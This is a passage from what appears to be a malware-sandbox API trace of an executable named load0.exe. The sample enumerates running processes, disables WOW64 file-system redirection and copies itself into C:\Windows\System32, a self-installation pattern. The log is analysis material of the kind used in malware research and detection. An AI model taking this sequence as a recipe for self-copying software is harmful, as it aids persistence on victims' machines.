th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.854] lstrlenW (lpString="svchost.exe") returned 11 [0120.854] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.855] lstrlenW (lpString="svchost.exe") returned 11 [0120.855] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0120.856] lstrlenW (lpString="audiodg.exe") returned 11 [0120.856] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0120.857] lstrlenW (lpString="sihost.exe") returned 10 [0120.857] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.857] lstrlenW (lpString="svchost.exe") returned 11 [0120.857] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0120.858] lstrlenW (lpString="taskhostw.exe") returned 13 [0120.858] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0120.905] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0120.906] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0120.907] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0120.907] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0120.908] lstrlenW (lpString="explorer.exe") returned 12 [0120.908] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0120.908] lstrlenW (lpString="Memory Compression") returned 18 [0120.909] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0120.909] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0120.909] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0120.910] lstrlenW (lpString="SearchUI.exe") returned 12 [0120.910] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0120.911] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0120.911] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0120.912] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0120.912] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0120.913] lstrlenW (lpString="taskhostw.exe") returned 13 [0120.913] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0120.914] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0120.914] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0120.914] lstrlenW (lpString="UsoClient.exe") returned 13 [0120.914] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0120.915] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0120.915] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0120.916] lstrlenW (lpString="msoia.exe") returned 9 [0120.916] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0120.917] lstrlenW (lpString="taskhostw.exe") returned 13 [0120.917] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0120.918] lstrlenW (lpString="msoia.exe") returned 9 [0120.918] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0120.919] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0120.919] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0120.919] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0120.919] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0120.920] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0120.920] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0120.921] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0120.921] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0120.923] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0120.923] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0120.924] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0120.924] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0120.924] lstrlenW (lpString="concerned venture.exe") returned 21 [0120.924] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0120.925] lstrlenW (lpString="organizingscsi.exe") returned 18 [0120.925] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0120.926] lstrlenW (lpString="airplane placing.exe") returned 20 [0120.926] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0120.927] lstrlenW (lpString="circus.exe") returned 10 [0120.927] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0120.928] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0120.928] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0120.929] lstrlenW (lpString="das.exe") returned 7 [0120.929] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0120.929] lstrlenW (lpString="beam removable.exe") returned 18 [0120.929] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0120.930] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0120.930] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0120.931] lstrlenW (lpString="dome.exe") returned 8 [0120.931] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0120.932] lstrlenW (lpString="wiresjacket.exe") returned 15 [0120.932] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0120.933] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0120.933] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0120.934] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0120.934] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0120.935] lstrlenW (lpString="tested.exe") returned 10 [0120.935] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0120.936] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0120.936] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0120.937] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0120.937] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0120.938] lstrlenW (lpString="level.exe") returned 9 [0120.938] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0120.939] lstrlenW (lpString="dllhost.exe") returned 11 [0120.939] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0120.940] lstrlenW (lpString="conhost.exe") returned 11 [0120.940] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0120.941] lstrlenW (lpString="conhost.exe") returned 11 [0120.941] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.942] lstrlenW (lpString="svchost.exe") returned 11 [0120.942] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0120.942] lstrlenW (lpString="load0.exe") returned 9 [0120.943] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0120.943] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0120.943] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0120.944] lstrlenW (lpString="conhost.exe") returned 11 [0120.944] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0120.945] CloseHandle (hObject=0xf8c) returned 1 [0120.945] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b1fd8 | out: hHeap=0x5a0000) returned 1 [0120.945] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b2068 | out: hHeap=0x5a0000) returned 1 [0120.945] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b85a8 | out: hHeap=0x5a0000) returned 1 [0120.945] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b82c8 | out: hHeap=0x5a0000) returned 1 [0120.945] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b6ef0 | out: hHeap=0x5a0000) returned 1 [0120.945] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e0940 | out: hHeap=0x5a0000) returned 1 [0120.945] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b8268 | out: hHeap=0x5a0000) returned 1 [0120.945] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b84c8 | out: hHeap=0x5a0000) returned 1 [0120.945] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dec00 | out: hHeap=0x5a0000) returned 1 [0120.945] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5deb60 | out: hHeap=0x5a0000) returned 1 [0120.946] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b8548 | out: hHeap=0x5a0000) returned 1 [0120.946] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5deca0 | out: hHeap=0x5a0000) returned 1 [0120.946] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x624ec0 [0120.946] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x634ec8 [0120.946] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0940 [0120.946] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0940, Size=0x20) returned 0x5deca0 [0120.946] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5deca0, Size=0x40) returned 0x5b1fd8 [0120.947] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0940 [0120.947] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0940, Size=0x20) returned 0x5ded90 [0120.947] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0820 [0120.947] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0820, Size=0x20) returned 0x5dedb8 [0120.947] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0850 [0120.947] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0850, Size=0x20) returned 0x5deca0 [0120.947] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5deca0, Size=0x40) returned 0x5b2068 [0120.947] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x634ec8, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\load0.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\load0.exe")) returned 0x21 [0120.947] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x644ed0 [0120.947] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x654ed8 [0120.948] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0820 [0120.948] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0820, Size=0x20) returned 0x5deca0 [0120.948] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5deca0, Size=0x40) returned 0x5b2188 [0120.948] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b2188, Size=0x80) returned 0x5a66f8 [0120.948] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5a66f8, Size=0x100) returned 0x5ae298 [0120.948] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0120.948] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ae298 | out: hHeap=0x5a0000) returned 1 [0120.948] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\load0.exe", lpDst=0x644ed0, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\load0.exe") returned 0x1e [0120.948] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x654ed8 | out: hHeap=0x5a0000) returned 1 [0120.948] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x644ed0 | out: hHeap=0x5a0000) returned 1 [0120.949] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x2051020 [0120.952] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0820 [0120.952] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0820, Size=0x20) returned 0x5deca0 [0120.952] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0a18 [0120.952] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0a18, Size=0x20) returned 0x5ded68 [0120.953] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0120.997] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0120.997] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0120.997] lstrlenW (lpString="kernel32.dll") returned 12 [0120.997] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5deca0 | out: hHeap=0x5a0000) returned 1 [0120.997] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0120.997] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ded68 | out: hHeap=0x5a0000) returned 1 [0120.998] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\load0.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\load0.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf8c [0120.998] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\load0.exe" (normalized: "c:\\windows\\system32\\load0.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf90 [0121.000] ReadFile (in: hFile=0xf8c, lpBuffer=0x2051020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2051020*, lpNumberOfBytesRead=0x19fd90*=0x3e600, lpOverlapped=0x0) returned 1 [0121.015] WriteFile (in: hFile=0xf90, lpBuffer=0x2051020*, nNumberOfBytesToWrite=0x3e600, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2051020*, lpNumberOfBytesWritten=0x19fd90*=0x3e600, lpOverlapped=0x0) returned 1 [0121.022] ReadFile (in: hFile=0xf8c, lpBuffer=0x2051020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2051020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0121.022] CloseHandle (hObject=0xf90) returned 1 [0121.029] CloseHandle (hObject=0xf8c) returned 1 [0121.029] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0940 [0121.029] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0940, Size=0x20) returned 0x5deca0 [0121.029] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0820 [0121.029] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0820, Size=0x20) returned 0x5dee30 